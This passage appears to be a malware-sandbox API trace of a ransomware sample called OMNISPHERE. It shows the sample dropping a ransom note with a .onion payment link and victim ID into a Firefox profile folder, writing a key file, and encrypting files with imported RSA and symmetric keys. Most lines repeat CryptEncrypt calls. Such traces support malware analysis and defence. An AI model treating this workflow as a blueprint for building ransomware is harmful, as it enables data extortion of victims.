returned 1 [0161.800] CloseHandle (hObject=0x398) returned 1 [0161.800] SetEndOfFile (hFile=0x3b4) returned 1 [0161.800] FlushFileBuffers (hFile=0x3b4) returned 1 [0161.838] CloseHandle (hObject=0x3b4) returned 1 [0161.838] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09") returned 1 [0161.838] GetProcessHeap () returned 0x1600000 [0161.838] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174cb18 [0161.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.838] GetProcessHeap () returned 0x1600000 [0161.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17341e8 [0161.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17341e8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.839] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.839] GetProcessHeap () returned 0x1600000 [0161.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17266b8 [0161.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17266b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.839] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.839] GetProcessHeap () returned 0x1600000 [0161.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x110) returned 0x174d038 [0161.839] PathCombineW (in: pszDest=0x174d038, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" [0161.839] GetProcessHeap () returned 0x1600000 [0161.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173f948 [0161.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.839] WriteFile (in: hFile=0x3b4, lpBuffer=0x173f948*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x173f948*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0161.840] CloseHandle (hObject=0x3b4) returned 1 [0161.840] GetProcessHeap () returned 0x1600000 [0161.840] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174cb18 | out: hHeap=0x1600000) returned 1 [0161.840] GetProcessHeap () returned 0x1600000 [0161.840] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174cb18 [0161.840] PathCombineW (in: pszDest=0x174cb18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" [0161.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.840] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0161.840] CloseHandle (hObject=0x3b4) returned 1 [0161.840] GetProcessHeap () returned 0x1600000 [0161.840] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174cb18 | out: hHeap=0x1600000) returned 1 [0161.840] GetProcessHeap () returned 0x1600000 [0161.840] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174bb50 | out: hHeap=0x1600000) returned 1 [0161.840] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdd249bf, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcdd249bf, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcdd249bf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x198a, dwReserved0=0x0, dwReserved1=0xa4, cFileName="1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4", cAlternateFileName="150478~4.JSO")) returned 1 [0161.841] GetProcessHeap () returned 0x1600000 [0161.841] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x160) returned 0x174bb50 [0161.841] PathCombineW (in: pszDest=0x174bb50, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4" [0161.841] StrStrW (lpFirst=".omnisphere", lpSrch=".jsonlz4") returned 0x0 [0161.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.842] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=6538) returned 1 [0161.842] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x1466, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.842] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e0be84, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0c3cc, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesRead=0x3e0c3cc*=0x524, lpOverlapped=0x0) returned 1 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.844] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] GetTickCount () returned 0x1168331 [0161.845] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x1668c58) returned 1 [0161.846] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x1639868) returned 1 [0161.846] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0161.847] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.847] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0161.847] CreateFileMappingW (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x198a, lpName=0x0) returned 0x398 [0161.847] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x198a) returned 0x1480000 [0161.878] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x1668708) returned 1 [0161.879] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x1639568) returned 1 [0161.879] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0161.879] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0161.879] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.879] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.879] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.879] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.879] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.880] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.881] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.882] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, 